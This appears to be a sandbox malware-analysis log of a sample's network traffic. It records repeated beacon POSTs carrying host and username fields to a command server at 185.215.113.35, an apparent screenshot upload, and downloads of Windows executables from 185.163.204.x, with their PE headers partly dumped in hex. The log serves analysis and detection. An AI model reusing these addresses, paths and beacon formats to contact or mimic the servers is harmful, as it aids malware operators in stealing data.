Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/71fe7726da53cb25be1ef5cfcccec20e728d94fe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0f843c26b75eb09195970d1b51f66523Host: 185.215.113.35Content-Length: 105192Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Host: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 37 39 36 30 35 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=179605&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c0335 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:02 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:08 GMTContent-Type: application/x-msdos-programContent-Length: 322560Connection: closeLast-Modified: Fri, 14 Jan 2022 08:25:02 GMTETag: "4ec00-5d5868a108476"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 fa 3c cc e1 9b 52 9f e1 9b 52 9f e1 9b 52 9f ff c9 c7 9f fb 9b 52 9f ff c9 d1 9f 67 9b 52 9f c6 5d 29 9f e2 9b 52 9f e1 9b 53 9f 01 9b 52 9f ff c9 d6 9f db 9b 52 9f ff c9 c6 9f e0 9b 52 9f ff c9 c3 9f e0 9b 52 9f 52 69 63 68 e1 9b 52 9f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 c1 2d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f2 03 00 00 a8 11 00 00 00 00 00 00 c1 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 15 00 00 04 00 00 12 06 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 ee 03 00 28 00 00 00 00 10 15 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 f4 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 f1 03 00 00 10 00 00 00 f2 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 10 04 00 00 18 00 00 00 f6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 61 76 65 00 00 00 05 00 00 00 00 e0 14 00 00 02 00 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 6f 64 75 66 00 00 ea 00 00 00 00 f0 14 00 00 02 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 61 66 61 6c 00 00 93 0d 00 00 00 00 15 00 00 0e 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 15 00 00 84 00 00 00 20 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 64 46 00 00 00 a0 15 00 00 48 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:41 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:46 GMTContent-Type: application/x-msdos-programContent-Length: 373760Connection: closeLast-Modified: Wed, 12 Jan 2022 08:30:43 GMTETag: "5b400-5d55e62ba577e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
